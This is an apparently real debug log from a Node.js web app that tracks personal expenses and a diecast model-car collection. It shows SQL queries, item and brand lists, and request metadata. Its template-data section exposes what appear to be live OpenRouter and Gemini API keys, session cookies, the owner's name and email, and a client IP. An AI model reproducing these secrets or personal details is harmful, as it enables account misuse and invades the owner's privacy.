      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:25:37.128Z server-connect:router Serving templateView /diecast
2026-02-04T11:25:37.128Z server-connect:app Executing action step identify
2026-02-04T11:25:37.128Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:37.128Z server-connect:output identity: 1
2026-02-04T11:25:37.128Z server-connect:app Executing action step restrict
2026-02-04T11:25:37.128Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:25:37.130Z server-connect:output restrict: undefined
2026-02-04T11:25:37.130Z server-connect:router Render template layouts/main
2026-02-04T11:25:37.130Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { manufacturer: '72' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'manufacturer=72',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:25:38.235Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:25:38.235Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:25:38.236Z server-connect:app Executing action step identify
2026-02-04T11:25:38.236Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.236Z server-connect:output identity: 1
2026-02-04T11:25:38.236Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.236Z server-connect:app Executing action step identify
2026-02-04T11:25:38.236Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.236Z server-connect:output identity: 1
2026-02-04T11:25:38.236Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.237Z server-connect:output restrict: undefined
2026-02-04T11:25:38.237Z server-connect:app Executing action step select
2026-02-04T11:25:38.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:25:38.239Z server-connect:output restrict: undefined
2026-02-04T11:25:38.239Z server-connect:app Executing action step single
2026-02-04T11:25:38.239Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:25:38.244Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:25:38.245Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:38.246Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:25:38.246Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:38.247Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:25:38.247Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:38.249Z server-connect:app Executing action step identify
2026-02-04T11:25:38.249Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.249Z server-connect:output identity: 1
2026-02-04T11:25:38.249Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.249Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.250Z server-connect:app Executing action step identify
2026-02-04T11:25:38.250Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.250Z server-connect:output identity: 1
2026-02-04T11:25:38.250Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.250Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:25:38.250Z server-connect:app Executing action step identify
2026-02-04T11:25:38.250Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.250Z server-connect:output identity: 1
2026-02-04T11:25:38.251Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.251Z server-connect:app Executing action step identify
2026-02-04T11:25:38.251Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.251Z server-connect:output identity: 1
2026-02-04T11:25:38.251Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.251Z server-connect:output restrict: undefined
2026-02-04T11:25:38.251Z server-connect:app Executing action step select
2026-02-04T11:25:38.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:38.251Z server-connect:output restrict: undefined
2026-02-04T11:25:38.251Z server-connect:app Executing action step select
2026-02-04T11:25:38.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:38.252Z server-connect:output restrict: undefined
2026-02-04T11:25:38.252Z server-connect:app Executing action step paged
2026-02-04T11:25:38.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:25:38.252Z server-connect:output restrict: undefined
2026-02-04T11:25:38.252Z server-connect:app Executing action step select
2026-02-04T11:25:38.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:38.253Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:25:38.253Z server-connect:app Executing action step identify
2026-02-04T11:25:38.253Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:38.253Z server-connect:output identity: 1
2026-02-04T11:25:38.253Z server-connect:app Executing action step restrict
2026-02-04T11:25:38.253Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:38.254Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:25:38.254Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
